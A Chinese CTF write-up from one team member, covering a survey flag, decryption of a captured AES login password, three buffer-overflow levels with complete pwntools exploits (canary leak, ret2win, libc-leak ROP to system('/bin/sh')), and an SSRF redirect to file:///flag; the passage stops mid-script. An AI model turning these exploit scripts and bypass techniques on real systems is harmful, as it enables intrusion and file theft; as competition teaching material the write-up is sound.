Hack for fun not for profit_

以下是我在 Team Nooob 队伍中负责的题目。

签到问卷

周一12点开赛,下午边上课边做,拿下队伍首血 😃

这道题把 flag 硬编码或直接包含在客户端可以获取的初始化数据中。虽然题面描述了截止时间错误和提交后提示语,看起来像是需要完成提交或绕过时间检查,但实际上,Flag 并没有被动态生成或在提交后才从服务器返回。

真正的解题路径是:

  • 识别 页面加载时获取的关键初始化数据(通常在 script 标签或通过 AJAX 请求获取)。
  • 解码 数据(如果被编码)。
  • 分析 解码后的数据结构,寻找与问卷状态、流程控制或结束/成功提示相关的字段。
  • 直接 在相关的字段值中查找 Flag。

end_of_survey 字段恰好就承担了“问卷结束时显示的提示语”的角色,并且 LilRan “不小心”将 Flag 直接放到了这里,而不是在触发显示后才动态加载或生成。因此,绕过提交或时间检查的复杂步骤变得不必要,Flag 直接通过分析页面初始化数据就获取到了。
survey.png

管理员的密码

WireShark分析流量包中用户登录成功的报文,找到加密后的密码:
shark.png

前端CD3Iylek.js中显示了加密算法 AES 与加密模式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// ...
try {
const o = new Date
, h = `${o.getFullYear()}:${o.getMonth() + 1}:${o.getDate()}:${o.getHours()}:${o.getMinutes()}#`
, t = h0.enc.Hex.parse("4ede70b7e44ffcc7cd912685defd05b1")
, a = h0.enc.Hex.parse("c63b909a63ecdbbe813181e3c4734d87")
, f = h0.AES.encrypt(h + l, t, {
iv: a,
mode: h0.mode.CBC,
padding: h0.pad.Pkcs7
}).toString();
await kx.account.accountLoginCreate({
userName: R,
password: f
}),
// ....
  1. 首先获取当前的日期和时间(年、月、日、时、分),并格式化成 YYYY:M:D:H:M# 的字符串(存储在变量 h 中)。
  2. 定义了两个十六进制字符串 "4ede70b7e44ffcc7cd912685defd05b1""c63b909a63ecdbbe813181e3c4734d87",并将它们解析成字节数组。这很明显是 AES 加密的 密钥 (Key)初始化向量 (IV)
  3. 将前面生成的时间字符串 h 与另一个变量 l 拼接起来。根据上下文和通常的登录逻辑,这个 l 就是用户在密码输入框中输入的 原始密码
  4. 使用 h0.AES.encrypt 方法对拼接后的 h + l 字符串进行 AES 加密。加密配置使用了 t 作为密钥,a 作为 IV,加密模式是 CBC (Cipher Block Chaining),填充方式是 Pkcs7
  5. 加密结果 .toString() 转换成 Base64 字符串。这个结果存储在变量 f 中。
  6. 最后,将 f 作为 password 参数发送给 accountLoginCreate 接口。

而从流量包中抓到的gBjV3cE/UXEm7fXGXbQ4Ox00P0zOdz0LgVaTt5iTrNhaPX81IWdsVWEA1r56LkGobiHaOvhswbVxMUypSZpWpfiGNe5wXcDbl1JuFEZDC4A= 就是这个经过 时间拼接、AES 加密、Base64 编码 后的 f 变量的值!

所以过程将是:Base64 解码 --> AES 解密 --> 提取密码 YYYY:M:D:H:M#原始密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from binascii import unhexlify

encrypted_b64 = "gBjV3cE/UXEm7fXGXbQ4Ox00P0zOdz0LgVaTt5iTrNhaPX81IWdsVWEA1r56LkGobiHaOvhswbVxMUypSZpWpfiGNe5wXcDbl1JuFEZDC4A="
key_hex = "4ede70b7e44ffcc7cd912685defd05b1"
iv_hex = "c63b909a63ecdbbe813181e3c4734d87"

# 1. Base64 解码
encrypted_data = base64.b64decode(encrypted_b64)

# 将 Hex 格式的 Key 和 IV 转换为字节串
key = unhexlify(key_hex)
iv = unhexlify(iv_hex)


# 2. AES 解密
# 创建 AES 解密器对象
cipher = AES.new(key, AES.MODE_CBC, iv)


# 解密,并进行 PKCS7 填充移除
decrypted_padded_data = cipher.decrypt(encrypted_data)
decrypted_data = unpad(decrypted_padded_data, AES.block_size)

# 将解密后的字节串转换为字符串
decrypted_string = decrypted_data.decode('utf-8')


# 3. 提取密码
if '#' in decrypted_string:
    original_password = decrypted_string.split('#', 1)[1]
    print(f"成功解密出的原始密码 (Flag): {original_password}")
else:
    print("解密后的数据格式不正确,未找到 '#' 分隔符。")
    print(f"解密后的数据: {decrypted_string}")

passwd.png

WMC25 D0

原本以为要用栈溢出来 call win,没想到玩完扫雷就给了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void win() { system("/bin/sh"); }

void vuln() {
  char buf[16] = {};
  printf("You win! Please sign your name: ");
  while (1) {
    read(0, buf, 0x408);

    printf("\nLeaderboard\n");
    printf("01 %16s ... %ds\n\n", buf, last);

    if (strlen(buf) > 16) {
      printf("Your name is too long, which will break our award ceremony!\n");
      printf("Just give us another shorter nickname: ");
    } else
      break;
  }
  printf("Thanks for playing my game.\n");
  win();
}

wmc.png

WMC25 D1

下一 level 就把 win() 给去掉了,我们现在需要进行栈溢出覆盖返回地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void win() { system("/bin/sh"); }      // 后门函数

void vuln() {
  char buf[16] = {};
  printf("You win! Please sign your name: ");
  while (1) {
    read(0, buf, 0x408);

    printf("\nLeaderboard\n");
    printf("01 %16s ... %ds\n\n", buf, last);

    if (strlen(buf) > 16) {
      printf("Your name is too long, which will break our award ceremony!\n");
      printf("Just give us another shorter nickname: ");
    } else
      break;
  }
  printf("Thanks for playing my game.\n");
}

同时通过 checksec 知道程序开启了 Canary 栈保护

1
2
3
4
5
6
$ checksec --file=./pwn
RELRO tifiable
STACK CANARY Canary found
NX NX enabled
PIE No PIE
RPATH No RPATH

为了覆盖返回地址为找到的后门函数 win ,我们一定会覆盖掉 Canary,但是如果 Canary 被破坏了的话,返回时检查就会跳到 __stack_chk_fail,直接 stack smashing。

1
2
3
4
5
40139e:	48 8b 45 f8          	mov    -0x8(%rbp),%rax
4013a2: 64 48 2b 04 25 28 00 sub %fs:0x28,%rax
4013a9: 00 00
4013ab: 74 05 je 4013b2 <vuln+0xe2>
4013ad: e8 8e fd ff ff call 401140 <__stack_chk_fail@plt>

因此我们需要设计好两次payload:

  1. 第一次提交24字节的payload(16 bytes buf + 8 bytes padding),泄露 Canary 值:无论是通过 pwntoolssendline 发送还是手动 stdin 输入,最后一个换行符 \n 都会被记录!而恰好这个换行符可以覆盖金丝雀的最低字节 \x00,因此我们需要读取输出后的七个字节。d1_canary.png
  2. 第二次在 payload 中填上我们的 Canary,在 $rbp+8 开始的8字节返回地址覆盖上 win() 的入口地址,尝试得到 shell。一开始我覆盖的是 win 函数的入口地址 0x4012b6 ,执行指令 endbr64 会出错,只好跳到下一条指令 0x4012ba
1
2
3
4
5
6
7
8
9
10
00000000004012b6 <win>:
4012b6: f3 0f 1e fa endbr64
4012ba: 55 push %rbp
4012bb: 48 89 e5 mov %rsp,%rbp
4012be: 48 8d 05 4b 0d 00 00 lea 0xd4b(%rip),%rax # 402010 <_IO_stdin_used+0x10>
4012c5: 48 89 c7 mov %rax,%rdi
4012c8: e8 83 fe ff ff call 401150 <system@plt>
4012cd: 90 nop
4012ce: 5d pop %rbp
4012cf: c3 ret

那么为什么无法直接跳到 endbr64

这是因为endbr64 不是任意可执行的指令,要成功执行 endbr64,系统必须启用了 CET/IBT 且该指令出现在合法的间接跳转目标处,否则会产生 #CP (Control Protection Exception)。IBT (Indirect Branch Tracking) 机制只允许这两类跳转到 endbr64:

  • jmp reg :直接从寄存器跳转,比如 jmp rax
  • call reg :间接调用,比如 call rbx
    这两种跳转被 IBT 标记为“合法的间接跳转入口检查” ,由于 ret 本质上是 pop rip,所以直接被 CET IBT 给拦截了。
    d1_flag.png
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
# exploit.py
from pwn import *
import time
import sys

HOST = 'localhost'
PORT = <port>

# win 函数的地址
WIN_ADDRESS = 0x00000000004012be

# vuln 函数中 buf 到返回地址的偏移量
# 16 bytes buf + 8 bytes padding + 8 bytes canary + 8 bytes saved RBP = 40 bytes
PAYLOAD_OFFSET = 40

# Offset from the start of buf to the canary
# 16 bytes buf + 8 bytes padding = 24 bytes
CANARY_OFFSET_FROM_BUF = 24

def solve_minesweeper(r):
    log.info("开始解决扫雷游戏...")
    #....

    # 等待胜利提示符,进入 vuln 函数
    r.recvuntil(b"You win! Please sign your name: ")

def get_canary_and_exploit(r):
    log.info("进入漏洞利用阶段...")
    # sendline 会自动添加换行符,覆盖金丝雀第一个字节 (\x00)
    leak_padding_size = CANARY_OFFSET_FROM_BUF # 24 bytes padding
    leak_payload = b'A' * leak_padding_size

    log.info(f"发送泄露 payload (长度: {len(leak_payload)})...")

    # 发送泄露 payload
    r.sendline(leak_payload)
    log.debug("泄露 payload 已发送。等待 Leaderboard...")

    # 接收包含金丝雀的输出行
    log.info("接收输出以泄露金丝雀...")
    try:
        r.recvuntil(b'Leaderboard\n')
        log.debug("接收到 Leaderboard 标记。准备接收泄露行...")
        # 尝试接收包含填充的那一行,然后接收下一行(包含金丝雀)
        padding_line = r.recvline() # 接收打印填充和换行符的那一行
        log.debug(f"接收到填充行: {padding_line}")
        canary_line = r.recvline() # 接收打印金丝雀开始的那一行
        log.info(f"接收到的金丝雀行: {canary_line}")

        # 从金丝雀行中解析金丝雀的后 7 个字节
        canary_7_bytes = canary_line[:7] # 提取前 7 个字节

        # 重构完整的 8 字节金丝雀: \x00 + 后 7 个字节
        canary_value_bytes = b'\x00' + canary_7_bytes

        log.success(f"成功提取金丝雀(重构前 7 字节): {canary_7_bytes}")
        log.success(f"重构完整的金丝雀: {canary_value_bytes}")
        if len(canary_value_bytes) != 8:
             log.warning(f"重构后的金丝雀长度不是 8 ({len(canary_value_bytes)}),可能提取错误或金丝雀结构不同。")
             log.info(f"金丝雀行所有字节 (hex): {canary_line.hex()}")

    except EOFError:
         log.error("连接在泄露阶段关闭,请调试。")
         log.error("可能泄露 payload 导致程序立即崩溃。")
         return
    except Exception as e:
         log.error(f"解析输出时发生错误: {e}")
         return

    # --- 构造并发送第二次 exploit payload ---
    log.info("等待下一轮输入提示符...")

    try:
        r.recvuntil(b"Just give us another shorter nickname: ")
        log.info("接收到提示符。准备发送 exploit payload...")
    except EOFError:
        log.error("连接在接收下一轮输入提示符时关闭,请调试。")
        log.error("可能程序在等待输入前崩溃。")
        return


    # 填充 (到达金丝雀位置前): buf 16 bytes + padding 8 bytes = 24 bytes
    padding_before_canary = b'A' * 15 + b'\0' + b'C' * 8

    padding_after_canary = b'B' * (PAYLOAD_OFFSET - CANARY_OFFSET_FROM_BUF - 8)
    # win 函数地址 (8 字节小端序)
    win_address_bytes = p64(WIN_ADDRESS)


    # 最终 payload = 填充 + 金丝雀 + RBP 填充 + 返回地址
    exploit_payload = padding_before_canary + canary_value_bytes + padding_after_canary + win_address_bytes

    log.info(f"发送 exploit payload (长度: {len(exploit_payload)})...")
    r.sendline(exploit_payload) # 使用 sendline 发送最终 payload
    log.debug("Exploit payload 已发送。")
    log.info("Payload 已发送。尝试与 shell 交互...")
    log.debug("Exploit payload 已发送。")

    r.recvuntil(b"Thanks for playing my game.\n")

    r.interactive()

# 主程序入口
if __name__ == "__main__":
    context.update(arch='amd64', os='linux')
    context.log_level = 'debug'

    try:
        conn = remote(HOST, PORT)
        log.info(f"成功连接到 {HOST}:{PORT}")
    except Exception as e:
        log.error(f"连接到 {HOST}:{PORT} 失败: {e}")
        exit()

    # 解决扫雷游戏
    solve_minesweeper(conn)

    # 获取金丝雀并发送 exploit payload
    get_canary_and_exploit(conn)

    conn.close()

WMC25 D2

难度再次升级!这次直接把后门函数 win给去掉了,我们需要如何执行之前的 system("/bin/sh") ?这个语句根本不在编译后的可链接程序里!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void win() { printf("You are the W4ter Minesweeper Champion (WMC) !\n"); }

void vuln() {
char buf[16] = {};
printf("You win! Please sign your name: ");
while (1) {
read(0, buf, 0x408);

printf("\nLeaderboard\n");
printf("01 %16s ... %ds\n\n", buf, last);

if (strlen(buf) > 16) {
printf("Your name is too long, which will break our award ceremony!\n");
printf("Just give us another shorter nickname: ");
} else
break;
}
printf("Thanks for playing my game.\n");
}

然而不仅于此!程序还使用了地址空间随机化 ASLR,编译开启 PIE,也就是说每一次 executable 加载的基地址是不确定的(但一般高字节为0x55),而且动态库 libc 加载的基地址也是不确定的(一般为高字节为 0x7f,但是要区别于用户程序栈)!

1
2
3
4
5
6
$ checksec --file=./pwn
RELRO FULL RELRO
STACK CANARY Canary found
NX NX enabled
PIE PIE enabled
RPATH No RPATH

system 函数以及 /bin/sh 字符串其实都位于动态库 libc.so.6 里,如果我们想要读取 libc 里面的 .rodata 并执行 .text 里的函数呢,那么就得知道 libc 被加载的基地址!

<puts@plt> 打印 libc 函数地址

第一次的想法是通过程序里的 <puts@plt> 跳转到在 libc 地址空间中实际执行 puts 函数的 puts@got ,通过puts@plt(read@got) 打印 read 的实际地址。得到实际地址后减去read在 libc 中固定的偏移量就能得到 libc 运行时的基址了!函数在 PLT 表中的偏移量我们可以反汇编 executable 得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Disassembly of section .plt.sec:

0000000000001120 <puts@plt>:
1120: f3 0f 1e fa endbr64
1124: f2 ff 25 5d 2e 00 00 bnd jmp *0x2e5d(%rip) # 3f88 <puts@GLIBC_2.2.5>
112b: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1)

0000000000001140 <__stack_chk_fail@plt>:
1140: f3 0f 1e fa endbr64
1144: f2 ff 25 4d 2e 00 00 bnd jmp *0x2e4d(%rip) # 3f98 <__stack_chk_fail@GLIBC_2.4>
114b: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1)

0000000000001170 <read@plt>:
1170: f3 0f 1e fa endbr64
1174: f2 ff 25 35 2e 00 00 bnd jmp *0x2e35(%rip) # 3fb0 <read@GLIBC_2.2.5>
117b: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1)

查找一下 read@got 的地址:

1
2
$ readelf -r ./pwn | grep read  或 objdump -R ./demo
000000003fb0 R_X86_64_JUMP_SLO 0000000000000000 read@GLIBC_2.2.5 + 0

这里 0x3fb0read@got 这一项在进程虚拟地址空间中的地址 。它的初始内容(值)是一个函数地址,指向懒绑定解析器,比如 ld.so_dl_runtime_resolve。第一次调用 read@plt,解析器解析符号并更新 0x3fb0 的内容为 libcread() 的真实地址,比如 0x7ffff7d12345。具体解析过程如下:

1
2
3
4
5
6
[调用 read@plt]

jmp *[read@got] ← 间接跳转

如果首次调用 → ld.so 解析符号 → 把 libc 中 read 的地址写入 read@got
否则 → 直接跳到 libc 中的 read 函数

函数和参数都已齐全,接下来需要考虑如何传参。x86-64 ABI 规定第一个参数用rdi来传递,我们需要在可执行程序中找到一种 Gadget,形如 pop rdi ; ret。这样我们就可以构造如下的 ROP 链:

1
2
3
4
5
6
7
8
9
10
// 栈由上往下地址减小
+----------------------------+
| puts@plt (0x1120) | ← 调用 puts
+----------------------------+
| 0x3fb0 (read@got) | ← 参数
+----------------------------+
| pop rdi ; ret Gadget addr | ← 控制 rdi
+----------------------------+
| old rbp value |
+----------------------------+ ← %rbp

ROP 链设计完毕,接下来就是最后一步,找到 Gadget!但令人遗憾的是,我找遍了整个 executable 连比较合适的都没有,更不用说完美的 pop rdi ; ret了。下面找的是两个最可能合适的,但是 rip的值不在我们的控制范围内,因此这个想法倒在了最后一步上。OUT

1
2
3
4
5
6
7
8
9
10
00000000000012c3 <vuln>:
1318: 48 8d 05 42 0d 00 00 lea 0xd42(%rip),%rax # 2061 <_IO_stdin_used+0x61>
131f: 48 89 c7 mov %rax,%rdi
1322: e8 f9 fd ff ff call 1120 <puts@plt>
1327: 48 8b 15 42 2d 00 00 mov 0x2d42(%rip),%rdx
1355: 48 83 f8 10 cmp $0x10,%rax
1359: 76 25 jbe 1380 <vuln+0xbd>
135b: 48 8d 05 1e 0d 00 00 lea 0xd1e(%rip),%rax # 2080 <_IO_stdin_used+0x80>
1362: 48 89 c7 mov %rax,%rdi
1365: e8 b6 fd ff ff call 1120 <puts@plt>

读取栈存留的 libc 函数调用信息

既然无法通过 puts 来获得基址,第二次尝试读取在main栈帧中存留的关于 libc 的地址信息。获得libc的信息后尝试得到 libc 的基址,有了基址后我们就可以很轻松地找到libc中 pop rdi; ret; 的 gadget,把"/bin/sh"的运行时地址 pop 到 rdi,然后跳转到 system。

一开始的思路多了一个计算程序运行基址的阶段,其实没有必要:

  1. Stage 1:泄露栈金丝雀
  2. Stage 2:泄露 main 函数的返回地址,计算 Executable 基地址。
  3. Stage 3:泄露 Libc 的运行时地址,计算 Libc 基地址。
  4. Stage 4:构造最终 ROP 链,使用 Libc gadget 调用 system("/bin/sh")。**

这个思路的重点在于读取栈上残留的 libc 信息,并分析这个信息来计算其在 libc 中的偏移量,从而得到 libc 运行基址。

先准备一下 ROP 调用链需要的东西:

1
2
3
4
5
6
7
8
9
10
11
# 查找一个 Gatget 入口地址
$ ROPgadget --binary libc.so.6 --only "pop|ret" | grep "pop rdi ; ret"
0x000000000002a3e5 : pop ret ; ret

# system 函数入口地址
$ nm -D libc.so.6 | grep system
0000000000050d70 T __libc_system@@GLIBC_PRIVATE

# /bin/sh 字符串字面量地址
$ strings -a -t x libc.so.6 | grep "/bin/sh"
1d8678 /bin/sh

这里我们还是要跳过 endbr64,所以实际的 system 入口地址偏移量为 0x50d74

现在详细拆解 Stage 3 的过程:

由于我们发现 Executable 中似乎缺少方便的 pop rdi; ret; 或类似 gadget 来构建标准的 puts(read@got) 泄露链,我们将利用 vuln 函数中 read(0, buf, 0x408)printf("01 %16s ... %ds\n\n", buf, last) 的巨大溢出和打印特性来泄露 Libc 地址。

因此我们将在第三次输入时不断尝试发送精心构造的 payload。这个 payload 的长度需 长度足够大,以溢出到 main 函数的栈帧甚至更高地址: 这部分溢出的数据本身不重要,重要的是它会导致 printf 在打印完固定格式的内容后,继续从溢出所到达的栈内存区域读取并打印数据。

那么问题来了,栈上可能存有哪些 Libc 信息?

main 函数调用 vuln 时,main 函数的栈帧位于 vuln 函数的栈帧之上。main 函数在调用 vuln 之前和之后,还会调用许多其他的 Libc 函数,例如 setvbufprintftimescanftoupperexit 等。在这些函数调用过程中,main 函数的栈帧上可能会存放以下与 Libc 相关的信息:

  • 从 Libc 函数返回的地址:这个地址可能就是 libc 函数中一个指令的实际地址
  • 指向 Libc 数据结构的指针: 例如,setvbuf 函数会操作 stdinstdoutstderr 这些 FILE 结构体。main 函数的局部变量或传递给其他函数的参数中,可能保存着指向这些位于 Libc 数据段的 FILE 结构体的指针。
  • Libc 函数在 GOT 表中的运行时地址的拷贝 (可能性较低,除非有特定代码这样做)。

为了从 Stage 3 的输出来解析出这些地址。关键在于识别地址模式: 在 64 位 Linux 系统中,Libc 的地址通常以 0x7f 开头(或者以 0x7f 作为其 8 字节表示的最后一个字节)。在解析输出时,寻找以 \x7f 结尾的 8 字节序列,这些很可能是 Libc 的地址。所以我们不断实验输入 size0(mod8)size ≡ 0(mod 8) 的payload,看看溢出结果会不会符合地址要求。

我们不知道在栈上哪个位置会有 libc 函数信息,也不知道这个信息是什么,所以需要不断尝试+猜测。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# test.py 本地测试executable
libc_line = r.recvline() # 接收打印 padding 后的值
log.info(f"接收到的 libc 行: {libc_line}")

end_index = libc_line.index(0x20)  # 找到第一个 0x20 的位置
if end_index == 0:
log.error("libc 行为空!没能读到相关信息")
libc_partial_bytes = libc_line[:end_index]

# 填充到8字节,不足部分用0x00补齐
libc_bias = libc_partial_bytes.ljust(8, b'\x00')

log.success(f"成功提取到部分的 libc 指令地址为: {libc_partial_bytes}")
log.success(f"重构完整的 libc 指令地址: {int.from_bytes(libc_bias, byteorder='little'):#x}")
if len(libc_bias) != 8:
log.warning(f"重构后的 libc 地址长度不是 8 ({len(libc_bias)})!")
log.info(f"返回地址行所有字节 (hex): {libc_line.hex()}")

with open(f'/proc/{pid}/maps') as maps_file:
for line in maps_file:
if 'libc' in line and 'r--p' in line:
addr = int(line.split('-')[0], 16)
log.success(f"通过系统查看 libc 基地址为: {hex(addr)}")
libc_base_addr =addr
break

通过不断地测试,在发送 32 + 7 * 8= 88 字节 payload 时,得到了一个 0x7f 开头的地址,对比测试时具体的 libc 地址,得到这个 libc 指令的偏移量为 0x29d90

1
29d90:    89 c7      mov    %eax,%edi

那么我们对这个偏移量进行尝试,在实际的脚本中发送同样大小的 payload,得到实际 libc 指令地址再减去偏移量就能得到 libc 加载的基址了:

libc_base_addr=int(instruction_addr)LIBC_OFFSETlibc\_base\_addr = int(instruction\_addr) - LIBC\_OFFSET

有了 Libc 基址后,我们根据偏移量计算我们需要的东西的实际运行时地址:

  1. 计算 Libc 中 Gadget 的运行时地址:

pop_rdi_retaddr=libc_base_addr+POP_RDI_OFFSETpop\_rdi\_retaddr = libc\_base\_addr + POP\_RDI\_OFFSET

  1. 计算 Libc 中 /bin/sh 字符串的运行时地址:

binsh_addr=libc_base_addr+BINSH_OFFSETbinsh\_addr=libc\_base\_addr+BINSH\_OFFSET

  1. 计算 Libc 中 system 函数的运行时地址:

system_addr=libc_base_addr+SYSTEM_OFFSETsystem\_addr=libc\_base\_addr+SYSTEM\_OFFSET

终于的终于,我们可以构造优雅且邪恶のROP链了:

1
2
3
4
5
6
7
8
9
10
11
12
// 栈由上往下地址减小
+----------------------------+
| __libc_system addr | ← 调用 system
+----------------------------+
| ret addr (8bytes) | ← 地址以0x10对齐
+----------------------------+
| "/bin/sh" string addr | ← 参数
+----------------------------+
| pop rdi ; ret Gadget addr | ← 控制 rdi
+----------------------------+
| old rbp value |
+----------------------------+ ← rbp

这个 ROP 链的长度需要满足 strlen(buf) <= 16 的条件,以便退出 vuln 循环。这里需要注意栈对齐, system() 函数中存在这样的指令,它要求栈按照 0x10 对齐,在 ROP 链中增加⼀条 ret 指令的 Gadget,将 rsp 移动 0x8 完成对⻬。

最后,一键发送!wmc2.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
from pwn import *
import time
import sys

HOST = 'localhost'
PORT = <port>


# vuln 函数中 buf 到返回地址的偏移量
PAYLOAD_OFFSET = 40

CANARY_OFFSET_FROM_BUF = 24

# 1d19: b8 00 00 00 00          mov    $0x0,%eax
RELATVE_RET_ADDR = 0x1d19

# 29d90:    89 c7      mov    %eax,%edi
LIBC_OFFSET = 0x29d90

# libc 中 Gadget 的偏移量
POP_RDI_OFFSET = 0x2a3e5         # pop rdi; ret
SYSTEM_OFFSET  = 0x50d74         # system func
BIN_SH_OFFSET  = 0x1d8678        # "/bin/sh" string


canary_value_bytes = b''    # Canary values
program_base_addr  = 0      # Base address of running program
libc_base_addr     = 0      # Base address of libc


def solve_minesweeper(r):
    print("[*] 开始解决扫雷游戏...")
# .......
    # 等待胜利提示符
    r.recvuntil(b"You win! Please sign your name: ")

def get_canary(r):
    global canary_value_bytes
    log.info("进入canary获取阶段...")

    leak_padding_size = CANARY_OFFSET_FROM_BUF
    leak_payload = b'A' * leak_padding_size

    log.info(f"发送泄露 payload (长度: {len(leak_payload)})...")
    r.sendline(leak_payload)
    log.debug("泄露 payload 已发送。等待 Leaderboard...")

    log.info("接收输出以泄露金丝雀...")
    try:
        r.recvuntil(b'Leaderboard\n')
        log.debug("接收到 Leaderboard 标记。准备接收泄露行...")

        padding_line = r.recvline()
        log.debug(f"接收到填充行: {padding_line}")

        canary_line = r.recvline()
        log.info(f"接收到的金丝雀行: {canary_line}")

        canary_7_bytes = canary_line[:7]
        canary_value_bytes = b'\x00' + canary_7_bytes

        log.success(f"成功提取金丝雀(重构前 7 字节): {canary_7_bytes}")
        log.success(f"重构完整的金丝雀: {canary_value_bytes}")
        if len(canary_value_bytes) != 8:
             log.warning(f"重构后的金丝雀长度不是 8 ({len(canary_value_bytes)}),可能提取错误或金丝雀结构不同。")
             log.info(f"金丝雀行所有字节 (hex): {canary_line.hex()}")
    except EOFError:
         log.error("连接在泄露阶段关闭,请调试。")
         log.error("可能泄露 payload 导致程序立即崩溃。")
         return
    except Exception as e:
         log.error(f"解析输出时发生错误: {e}")
         return

def get_libc_base(r):
    global libc_base_addr
    log.info("尝试检测 libc 函数地址...")

    # 32 + 7 * 8 - 1 + 1 = 88 字节时,得到了一个0x7ffe39968512?
    leak_padding_size = 8 * 13 -1
    leak_payload = b'A' * leak_padding_size

    log.info(f"发送泄露 payload (长度包括换行符): {len(leak_payload)+1})...")

    # 发送泄露 payload
    r.sendline(leak_payload)
    log.debug("泄露 payload 已发送。等待 Leaderboard...")
    log.info("接收输出以泄露 libc base address...")
    try:
        r.recvuntil(b'Leaderboard\n')
        log.debug("接收到 Leaderboard 标记。准备接收泄露行...")

        padding_line = r.recvline()
        log.debug(f"接收到填充行: {padding_line}")

        libc_line = r.recvline()
        log.info(f"接收到的 libc 行: {libc_line}")

        end_index = libc_line.index(0x20)
        if end_index == 0:
            log.error("libc 行为空!没能读到相关信息")
        libc_partial_bytes = libc_line[:end_index]

        libc_bias = libc_partial_bytes.ljust(8, b'\x00')

        # 根据偏移量计算程序运行的基地址
        libc_base_addr = int.from_bytes(libc_bias, byteorder='little') - LIBC_OFFSET

        log.success(f"成功提取到部分的 libc 地址为: {libc_partial_bytes}")
        log.success(f"重构完整的 libc 地址: {libc_bias}")
        log.success(f"计算得到 libc 运行基地址: {libc_base_addr:#x}")
        if len(libc_bias) != 8:
             log.warning(f"重构后的 libc 地址长度不是 8 ({len(libc_bias)})!")
             log.info(f"返回地址行所有字节 (hex): {libc_line.hex()}")
    except EOFError:
         log.error("连接在泄露阶段关闭,请调试。")
         log.error("可能泄露 payload 导致程序立即崩溃。")
         return
    except Exception as e:
         log.error(f"解析输出时发生错误: {e}")
         return

def rop_attack(r):
    global canary_value_bytes
    global program_base_addr
    global libc_base_addr

    log.info("准备构造 ROP payload...")

    pop_rdi_ret = libc_base_addr + POP_RDI_OFFSET
    system_addr = libc_base_addr + SYSTEM_OFFSET
    binsh_addr  = libc_base_addr + BIN_SH_OFFSET

    log.success(f"pop rdi ; ret gadget addr: {pop_rdi_ret:#x}")
    log.success(f"system() addr: {system_addr:#x}")
    log.success(f"'/bin/sh' addr: {binsh_addr:#x}")

    # 构造最终之无敌优雅邪恶のROP payload
    padding  = b'A' * 15 + b'\0' + b'B' * 8 # 8字节buf + 8字节无用空间
    payload  = padding
    payload += canary_value_bytes            # 8字节 canary
    payload += b'C' * 8                      # old rbp
    payload += p64(pop_rdi_ret)              # gadget: pop rdi ; ret
    payload += p64(binsh_addr)               # 参数:指向 "/bin/sh"
    payload += p64(pop_rdi_ret+1)            # ret:使栈按照 0x10 对⻬
    payload += p64(system_addr)              # 调用 system("/bin/sh")

    log.info(f"发送 ROP payload (长度: {len(payload)})...")
    r.sendline(payload)

    log.info("ROP payload 已发送,尝试进入交互模式...")
    r.interactive()


# 主程序入口
if __name__ == "__main__":
    context.update(arch='amd64', os='linux')
    context.log_level = 'debug'

    try:
        conn = remote(HOST, PORT)
        log.info(f"成功连接到 {HOST}:{PORT}")
    except Exception as e:
        log.error(f"连接到 {HOST}:{PORT} 失败: {e}")
        exit()

    # 解决扫雷游戏
    solve_minesweeper(conn)

    # Phaze 1: 获取Canary
    get_canary(conn)

    #Phaze 2: 尝试获取 libc 函数地址
    get_libc_base(conn)

    #Phaze 3: 构造最终 ROP 攻击链!
    rop_attack(conn)

    conn.close()

Doc. Tron

Doctron 提供了多个接收 URL 参数进行文档转换的接口,其中存在 SSRF 漏洞的可能性。

初步尝试直接使用 file:///flag 作为 url 参数访问 /convert/html2pdf/convert/html2image 接口:

1
curl "http://<host>:<port>/convert/html2pdf?u=doctron&p=lampnick&url=file:///flag"

结果收到了 {"code":10000004,"message":"only support http/https","data":null} 的错误。通过分析 params.go 代码,发现 CheckParams middleware 明确校验了 url 参数的协议,只允许 http 或 https。

既然直接使用 file:/// 被协议校验阻止,那么用经典的 SSRF 绕过技巧,通过 HTTP 302 跳转。在本地搭建一个简单的 HTTP 服务器,配置其对任意请求都 302 跳转到 file:///flag。然后让 Doctron 通过 SSRF 访问这个本地服务器的 URL。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from http.server import BaseHTTPRequestHandler, HTTPServer
import sys

class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
print(f"[*] Received request from {self.client_address[0]}")
print("[*] Responding with 302 redirect to file:///flag")
self.send_response(302)
self.send_header('Location', 'file:///flag')
self.end_headers()

def log_message(self, format, *args):
return

if __name__ == '__main__':
port = 8000
server_address = ('0.0.0.0', port)
httpd = HTTPServer(server_address, RedirectHandler)
